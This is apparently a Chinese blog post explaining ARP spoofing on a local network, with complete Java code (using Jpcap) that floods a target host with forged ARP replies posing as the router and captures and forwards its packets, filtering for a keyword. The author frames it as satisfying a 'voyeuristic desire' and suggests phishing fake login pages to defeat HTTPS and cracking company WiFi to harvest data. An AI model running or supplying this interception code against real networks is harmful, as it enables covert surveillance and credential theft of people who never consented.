起因:

吃饭的时间在想如果区域网内都是通过路由器上网,那如何实现拦截整个区域网的数据包,从而实现某种窥探欲。

思路:

     正常是通过电脑网卡预先设置或分配的IP+网关对路由器进行通讯,比如访问百度:

     A主机(指定网关) >> 路由器 >> DNS(域名转IP) >>  服务端(百度)

     而我需要达到的目的是在, "A主机” 请求"路由器"的时间进行数据包的拦截,并转发至真正的路由器(转发目的是为了不断网,不被直接发现) ,这个时间A主机的请求数据就被我记录下来了。

 

疑问:

要达到上文所诉目的,需要解决以下三个疑问

1) A主机是如何跟路由器进行通讯(原理)

2) 我该如何拦截

3) 如何利用代码或工具实现拦截

 

问题1:

        解析:A主机发送数据包肯定需要跟路由器进行交互,那么路由器的地址就一定存储在A主机的某处地方。这就需要利用到网络协议的ARP(<这是地址)协议(详情请打开查看ARP原理)。

打开命令行窗口,输入arp -a 查看缓存地址列表,可以看到的是路由器的IP地址跟MAC地址

用Java代码实现拦截区域网数据包-RadeBit瑞安全

        答案:A主机发送数据包>>寻找路由器地址>>封装数据包>>路由器

问题2:  来自RadeBit

解析:通过问题1我们已经得知A主机是如何跟路由器进行数据包的通信的了。(广播式获取路由器IP地址及MAC,然后存储在ARP缓存列表。广播式就是整个频段下都可以看到,例如192.168.1.*),那我们需要做的就是主动发送一个广播给A主机,告诉它我们才是路由器。你需要发送数据包到我这里。看下图(20:f4:1b:70:8:2e 这个是我伪装的MAC地址),这样A主机发送的数据包就到我们的机器里了。同时我们还需网络转发(原理自行百度),为什么呢,因为我们需要A主机正常上网。

用Java代码实现拦截区域网数据包-RadeBit瑞安全

答案:A主机发送数据包>>伪装路由器主机>>寻找路由器地址>>封装数据包>>路由器

问题3:

解析:想一想用Java写会顺手一些,并且Java有对ARP协议支持的JAR包Jpcap。

答案:Java利用Jpcap编写arp拦截。

通过三个问题我们收获了ARP原理,及Java如何实现数据包拦截(Jpcap.jar+Jpcap.dll)

以上为整体思路,下面就是具体代码实现了。(客官看懂了吗?

 

开发环境:

编辑器:intellij idea 15

JDK:1.7

jar:Jpcap.jar

其它:jdk源目录下放置Jpcap.dll

 

公共参数类:

/**
 * Created by duke on 2016/11/16.
 * arp-client
 */
public class Constants
{
    public static final String version = "0.1";
    public static final String author = "Duke 西瓜大人";
    /*************************************************************************************
     * 参数配置 *
     * ***********************************************************************************
     */
    public static String DE_IP = "192.168.1.159";
    public static String DE_MAC = "ac-bc-32-93-97-6d";
    public static String SRC_IP = "192.168.1.1"; //
    public static String SRC_MAC = "20-F4-1B-80-08-2E";
    public static int NET_WORK = 0;
    public static int TIME = 2;
}

网卡工具类:

package util;
import jpcap.JpcapCaptor;
import jpcap.NetworkInterface;
import jpcap.NetworkInterfaceAddress;

/**
 * Created by duke on 2016/11/16.
 * arp-client
 */
public class NetWorkUtil
{
    public static void main(String[] args)
        {
            getDevice(0);
            System.out.println(">>>>>>>>>>>>>>>>>>>");
            getDevice(1);
        }
        /**
         * 使用String的startsWith函数判断IP相同的开始部分相同即可
         * @param segment 例如:192.168.1
         * @return
         */
    public static NetworkInterface getDevice(String segment)
    {
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();
        for(int i = 0; i < devices.length; i++)
        {
            NetworkInterfaceAddress[] addresses = devices[i].addresses;
            if(addresses[1].address.toString().startsWith(segment))
            {
                return devices[i];
            }
        }
        return devices[0];
    }
    public static NetworkInterface getDevice(int network)
    {
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();
        NetworkInterfaceAddress[] addresses = devices[network].addresses;
        NetworkInterface device = devices[network];
        return device;
    }
}

ARP测试类:

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import java.net.InetAddress;
import java.net.UnknownHostException;

/**
 * Created by duke on 2016/11/15.
 * arp-client
 * 对指定主机的拦截
 */
public class ArpTest
{
    public static void main(String[] args) throws Exception
        {
            sendArp(Constants.DE_IP, Constants.DE_MAC, Constants.SRC_IP, Constants.SRC_MAC, Constants.NET_WORK, Constants.TIME);
        }
        /**
         * 为什么需要IP地址跟MAC地址呢?因为我们需要去对他进行ARP协议的欺骗。
         * @param deip A主机地址(被欺骗的目标IP地址
         * @param deMac A主机MAC地址(被欺骗的目标目标MAC数组
         * @param srcIp 被替换Mac地址的IP地址
         * @param srcMac 假的MAC数组,也就是我们用来捕捉数据包的主机MAC地址。
         * @param network 发送arp的网卡,与被欺骗目标地址需要在同一网段
         * @param time ARP重发间隔时间,不断发送防止被路由器地址替换
         * @throws Exception
         */
    static void sendArp(String deip, String deMac, String srcIp, String srcMac, int network, int time) throws Exception
    {
        InetAddress desip = InetAddress.getByName(deip);
        byte[] desmac = stomac(deMac);
        InetAddress srcip = InetAddress.getByName(srcIp);
        byte[] srcmac = stomac(srcMac);
        // 枚举网卡并打开设备
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();
        NetworkInterface device = devices[network];
        JpcapSender sender = JpcapSender.openDevice(device);
        // 设置ARP包
        ARPPacket arp = new ARPPacket();
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;
        arp.prototype = ARPPacket.PROTOTYPE_IP;
        arp.operation = ARPPacket.ARP_REPLY;
        arp.hlen = 6;
        arp.plen = 4;
        arp.sender_hardaddr = srcmac;
        arp.sender_protoaddr = srcip.getAddress();
        arp.target_hardaddr = desmac;
        arp.target_protoaddr = desip.getAddress();
        // 设置DLC帧
        EthernetPacket ether = new EthernetPacket();
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;
        ether.src_mac = srcmac;
        ether.dst_mac = desmac;
        arp.datalink = ether;
        // 发送ARP应答包
        while(true)
        {
            System.out.println("send arp > " + deip);
            sender.sendPacket(arp);
            Thread.sleep(time * 1000);
        }
    }
    static byte[] stomac(String s)
    {
        byte[] mac = new byte[]
        {
            (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00
        };
        String[] s1 = s.split("-");
        for(int x = 0; x < s1.length; x++)
        {
            mac[x] = (byte)((Integer.parseInt(s1[x], 16)) & 0xff);
        }
        return mac;
    }
}

数据包拦截类:

import jpcap.*;
import jpcap.packet.Packet;
import util.NetWorkUtil;
import java.io.IOException;
import java.io.UnsupportedEncodingException;

/**
 * Created by duke on 2016/11/15.
 * arp-client
 */
public class NetWorkIntercept
{
    /*
    拦截网卡数据包
    */
    public static void main(String[] args) throws Exception
    {
        //请先移步ArpTest运行Main函数进行ARP欺骗(记得修改参数值为你自己测试环境
        //获取同网段网卡
        NetworkInterface device = NetWorkUtil.getDevice(Constants.NET_WORK);
        //打开网卡
        JpcapCaptor captor = JpcapCaptor.openDevice(device, 65535, false, 20);
        while(true)
        {
            //获取流量包,这个时间arp欺诈成功后,该主机的流量包就会通过你的主机网卡发送。
            Packet p = captor.getPacket();
            if(p != null)
            {
                byte header_byte[] = p.data;
                String header = new String(header_byte, "ISO-8859-1");
                //captor.setFilter("",true); 筛选函数还在研究怎么用舒服 这里约定协议会好用一点
                if(header.contains("qichacha")) //我觉得这种更爽 哈哈哈
                {
                    System.out.println(header); //获取数据包干一些你该干的事情
                    JpcapSender sender = captor.getJpcapSenderInstance(); //获取
                    sender.sendPacket(p); //数据包发送(
                }
            }
        }
    }
}

在完成以上代码后,我又碰到俩个问题,我的初衷是:“拦截整个区域网的数据包,从而实现某种窥探欲。”

可是目前关键问题是HTTP协议数据包能正常拦截,但是HTTPS是加密的阿!  而现在主流网站都是使用HTTPS加密的,过分(不过可以利用劫持来解决,比如你想登录企业qq邮箱,拦截到数据包后返回一个假的给你,这种就针对性比较强了)!!!!

另外一个问题就是我想继续修改传入传出的数据包。(留到下一步解决把,毕竟工作也挺多事情的 哈哈哈~

这个问题也暴漏了公司内部安全漏洞,试想一下,我蹲在你家公司门口,扫你家公司WIFI,一直扫到密码进去 如果没有反ARP措施,那不是随随便便的就能拿到相当多的数据了。

 

代码下载:https://pan.baidu.com/s/1bpECV4V (包括引用的jar包跟dll)